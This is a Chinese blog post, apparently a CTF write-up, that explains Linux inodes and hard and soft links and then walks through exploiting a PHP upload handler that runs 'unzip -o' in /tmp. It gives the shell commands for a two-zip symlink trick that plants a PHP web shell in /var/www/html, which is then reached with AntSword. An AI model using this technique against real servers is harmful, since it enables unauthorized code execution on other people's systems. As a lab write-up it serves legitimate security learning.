unzip

dawn_r1sing Lv3

unzip

前置

finfo_file()

检查MIME文件类型

linux文件系统-磁盘分区
  • Inode区 文件的唯一标识

    存储了文件(目录、档案)许多的重要参数:属主、归属的用户组、读写权限、数据所在的block号等

  • data block区

    存储文件名等

目录文件与档案文件

目录文件:记录目录下的文件名

档案文件:记录文件数据

档案读取过程:

目录inode(权限?)→目录block→档案inode(权限?)→档案block

硬链接

增加链接到某个inode的档名,多个档名对应同一个inode(说明这多个档名是同一个文件)

可以想象多条不同的路最终通向同一个文件,因此丢失一条路并不会导致找不到这个文件

好处:防误删

不足:

  1. 不允许对目录建立硬链接
  2. 不允许跨文件系统
软链接

类似快捷方式

可以通过软链接建立的文件找到它所指向的文件,但两个文件的inode不同,说明二者是不同的文件

思路

1
2
3
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

翻译一下就是:如果文件是zip类型,则会将它解压至/tmp目录下

很明显是文件上传漏洞,没有任何的文件内容检查

但是这个文件上传的目录并不是/var/www/html,此时无法利用

因此使用软链接覆盖

解题

1
2
3
4
5
6
7
8
9
10
mkdir 1
cd 1
ln -s /var/www/html/ test
zip --symlinks test ./*
cd ..
mkdir test
cd test
echo "<?php xxx xxx ?>" > shell.php
cd ..
zip -r test1.zip test

先传入test.zip,解压到temp/test(→)

再传入test1.zip,解压,此时两文件同名,强制覆盖已存在文件(unzip -o xxx),此时同名的目录内部文件将被放置在软链接指向的目录的内部【对于unzip -o xxx,若解压目录名与文件中原有目录名相同,新解压目录中的文件将被直接合并到该同名目录中(目录合并)】

image-20240406234720511

之后蚁剑连接/直接get传参即可

image-20240407111334022

  • Title: unzip
  • Author: dawn_r1sing
  • Created at : 2024-04-07 11:05:42
  • Updated at : 2024-06-07 17:09:05
  • Link: https://dawnrisingdong.github.io/2024/04/07/unzip/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
unzip